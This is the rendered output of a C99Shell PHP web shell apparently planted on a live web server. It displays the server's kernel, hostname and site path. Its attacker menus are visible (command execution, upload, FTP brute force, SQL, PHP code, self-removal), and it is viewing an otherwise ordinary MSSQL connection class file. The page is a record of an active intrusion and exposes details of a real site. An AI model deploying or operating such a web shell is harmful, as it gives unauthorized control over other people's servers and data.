!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/connections/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MSSQLUnixConnection.php (3.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class MSSQLUnixConnection extends Connection
{    
    protected 
$host;
    
    protected 
$user;
    
    protected 
$pwd;
    
    protected 
$dbname;

    
    function 
__construct$params )
    {
        
parent::__construct$params );
    }

    
/**
     * Set db connection's properties
     * @param Array params
     */
    
protected function assignConnectionParams$params )
    {
        
parent::assignConnectionParams$params );
        
        
$this->host $params["connInfo"][0];  //strConnectInfo1
        
$this->user $params["connInfo"][1];  //strConnectInfo2
        
$this->pwd $params["connInfo"][2];  //strConnectInfo3
        
$this->dbname $params["connInfo"][3];  //strConnectInfo4
    
}
    
    
/**
     * Open a connection to db
     */
    
public function connect()
    {
        
$this->conn mssql_connect$this->host$this->user$this->pwd );
        if( !
$this->conn )
            
$this->triggerError$this->lastError() );
        
        
mssql_select_db$this->dbname$this->conn );
        return 
$this->conn;
    }
    
    
/**
     * Close the db connection
     */
    
public function close()
    {
        return 
mssql_close$this->conn );
    }
    
    
/**    
     * Send an SQL query
     * @param String sql
     * @return Mixed
     */
    
public function query$sql )
    {
        
$this->debugInfo($sql);
        
$ret mssql_query$sql$this->conn );
        if( !
$ret )
        {
            
$this->triggerError($this->lastError());
            return 
FALSE;
        }
        
        return new 
QueryResult$this$ret );
    }
    
    
/**    
     * Execute an SQL query
     * @param String sql
     */
    
public function exec$sql )
    {
        
$this->debugInfo($sql);
        return 
mssql_query$sql$this->conn );
    }
    
    
/**    
     * Get a description of the last error
     * @return String
     */
    
public function lastError()
    {
        return @
mssql_get_last_message();
    }

    
/**    
     * Fetch a result row as an associative array
     * @param Mixed qHanle        The query handle
     * @return Array
     */
    
public function fetch_array$qHandle )
    {
        return @
mssql_fetch_array($qHandleMSSQL_ASSOC);
    }
    
    
/**    
     * Fetch a result row as a numeric array
     * @param Mixed qHanle        The query handle     
     * @return Array
     */
    
public function fetch_numarray$qHandle )
    {
        return @
mssql_fetch_array($qHandleMSSQL_NUM);
    }
    
    
/**    
     * Free resources associated with a query result set 
     * @param Mixed qHanle        The query handle         
     */
    
public function closeQuery$qHandle )
    {
        @
mssql_free_result($qHandle);
    }

    
/**    
     * Get number of fields in a result
     * @param Mixed qHanle        The query handle
     * @return Number
     */
    
public function num_fields$qHandle )
    {
        return @
mssql_num_fields$qHandle );
    }    
    
    
/**    
     * Get the name of the specified field in a result
     * @param Mixed qHanle        The query handle
     * @param Number offset
     * @return String
     */     
    
public function field_name$qHandle$offset )
    {
        return @
mssql_field_name($qHandle$offset);
    }
    
    
/**
     * @param Mixed qHandle
     * @param Number pageSize
     * @param Number page
     */
    
public function seekRecord($qHandle$n)
    {
        if( 
$n )
            
mssql_data_seek$qHandle$n );
    }
    
    
/**
     * Execute an SQL query with blob fields processing
     * @param String sql
     * @param Array blobs
     * @param Array blobTypes
     * @return Boolean
     */
    
public function execWithBlobProcessing$sql$blobs$blobTypes = array() )
    {
        
$this->debugInfo($sql);
        return @
mssql_query$sql$this->conn );
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--